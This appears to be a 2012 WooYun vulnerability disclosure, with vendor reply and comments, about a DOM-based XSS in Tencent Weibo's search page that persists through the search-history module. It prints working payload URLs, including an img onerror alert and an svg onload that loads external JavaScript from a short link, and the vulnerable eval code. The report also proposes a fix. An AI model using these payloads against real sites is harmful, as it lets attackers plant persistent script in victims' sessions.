当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015530

漏洞标题:腾讯微博一处两用DOM-XSS,能反射,能后门

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-12-02 23:00

修复时间:2013-01-16 23:00

公开时间:2013-01-16 23:00

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-02: 细节已通知厂商并且等待厂商处理中
2012-12-04: 厂商已经确认,细节仅向厂商公开
2012-12-14: 细节向核心白帽子及相关领域专家公开
2012-12-24: 细节向普通白帽子公开
2013-01-03: 细节向实习白帽子公开
2013-01-16: 细节向公众公开

简要描述:

看了应该是某黑客发了一条微博:内容里含有 "每月来一次" 的字眼。出于好奇,我就点了进去。然后打开了正在开发中的XSS扫描器,于是就有了此文。。。

详细说明:

1.就是看到了这条微博,对于这个"关键词" 订阅的功能,出于好奇,我就点了进去。

1.jpg


2. 然后打开了开发中的扫描器,对这个页面中的二级链接进行了全部扫描。发现以下结果。

2.jpg


3. 从上图,我们可以看到至少2点信息:
1) \x22 变成了 双引号,而这种变化,只有DOM类XSS才会出现。
2) 输出在 title="之间" 和 <xx>之间</xx> 都存在。
4. 我们选取 title 之间的输出,进行猜测性的构造利用代码。

http://search.t.qq.com/qun.php?pos=411&k=\x22\x3E\x3cimg\x2fsrc\x3d1\x20onerror\x3d\x22alert(1)\x22


放入浏览器,可以看到效果:

3.jpg


5. 我们进一步可以构造调用外部JS的代码,值得注意的是 k 参数有64个字符的长度限制。而此处是dom-xss,通过innerHTML输出的,无法使用 <script src="xx"></script>这种vector的。这里以在chrome下的测试为例。我们使用比较短的<svg onload="脚本"> 的方式来调用外部JS。其中短连接为我们的外部JS文件。

http://search.t.qq.com/qun.php?pos=411&k=\x22\x3E\x3csvg/onload\x3dUI.getScript(\x22//url.cn/7Hdsis\x22) 1


6. 这样一来,一个DOM xss就OK了。
7. 但是并不是这样, 出现问题的地方在,搜索历史模块,而这个模块会记录用户的搜索历史,并且出现在search.t.qq.com的首页及各处子页面。也就是,当受害者访问了我们指定的页面后,除了遭遇一次反射型XSS攻击外,在之后的日子里,search.t.qq.com下的页面都被我们植入了后门。
8. 从xsser.me的记录信息来看, 后门确实触发了。

4.jpg


9. 至于怎么利用我就不多说了。 回头来看看这个漏洞的成因。抓下包,可以看到搜索历史会通过ajax的方式来加载。而返回的数据是一段JS,在JS的字符串 list中,又没有对\进行过滤。

8.jpg


10. 在从http://search.t.qq.com/asyn/getSearchHistory.php获取返回数据之后,会调用 UI.evalScript(data.info);

5.jpg


UI.evalScript的代码

function (b){var c=this.regExp.script;(b=(b||"").match(RegExp(c,"img")))&&UI.each(b,function(b){eval(b.match(RegExp(c,"im"))[1])})}


它会取出data.info中, <script> ...</script> 之间的部分,然后 eval
被eval的JS里,则会将list字符串的内容append到HTML中。

...
UI.append(UI.html(list)[0], $('searchHistory'));
...

漏洞证明:

见详情

修复方案:

将 http://search.t.qq.com/asyn/getSearchHistory.php 返回数据中,该过滤 \ 的位置给过滤掉。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-12-04 14:44

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-02 23:16 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    围观G牛,占个广告位~~

  2. 2012-12-02 23:21 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    买一个

  3. 2012-12-02 23:42 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @xsser @se55i0n 我第一个就收藏了 你们明显不给力

  4. 2012-12-03 01:45 | super480 ( 路人 | Rank:22 漏洞数:2 )

    mark一下

  5. 2012-12-03 08:48 | Sunshine ( 实习白帽子 | Rank:51 漏洞数:10 | Nothing.)

    我想知道那是个什么神器

  6. 2012-12-03 08:48 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)

    亮点是:内容里含有 "每月来一次" 的字眼。出于好奇,我就点了进去。

  7. 2012-12-03 08:49 | 街球幽灵 ( 路人 | Rank:29 漏洞数:5 | 社会工程学研究,手机维修工程师。)

    mark~~

  8. 2012-12-03 09:43 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    1哥不是2号结婚,也就是昨天,大家也不搞个系列~~~

  9. 2012-12-03 09:49 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    围观二哥

  10. 2012-12-03 10:00 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    火钳刘明。

  11. 2012-12-03 10:05 | 猥琐 ( 路人 | Rank:6 漏洞数:2 | 学习什么的最重要!)

    我也想知道每月来一次的是什么

  12. 2012-12-03 10:24 | 啤酒 ( 实习白帽子 | Rank:62 漏洞数:8 | 道不同.喝酒结盟)

    g牛作品必然精品 .加盖12楼

  13. 2012-12-03 11:04 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    围观

  14. 2012-12-03 11:44 | 树熊 ( 实习白帽子 | Rank:38 漏洞数:7 | 关注技术、关注安全)

    围观

  15. 2012-12-03 15:07 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    神器果然好用.

  16. 2012-12-03 16:11 | sysALong ( 路人 | Rank:19 漏洞数:5 | 电脑里的AV片 永远 和 电脑旁的卫生纸 成 ...)

    @gainover XSS扫描器??? 果断硬了。

  17. 2012-12-15 17:12 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    xss扫描器!~~

  18. 2013-01-04 17:49 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)

    "bug"

  19. 2013-01-08 10:39 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    xss扫描器,真心碉堡

  20. 2013-01-08 10:45 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    我去,我发了一个新浪微博的跟着一样,怎么老不审核啊?。。。

  21. 2013-01-22 12:30 | 冉冉升起 ( 路人 | Rank:12 漏洞数:6 | ...)

    神器侧漏了!

  22. 2013-01-31 07:52 | 残月 ( 路人 | Rank:0 漏洞数:1 | 俺是小菜 大牛别黑我)

    围观大牛中

  23. 2014-04-25 17:43 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    大牛玩XSS真的很厉害!

  24. 2014-12-24 19:01 | Coner ( 路人 | Rank:3 漏洞数:1 )

    http://search.t.qq.com/qun.php?pos=411&k=\x22\x3E\x3cimg\x2fsrc\x3d1\x20onerror\x3d\x22alert(1)\x22 这个link没有出现在扫描器的截图中,这是我至今没有解决的疑点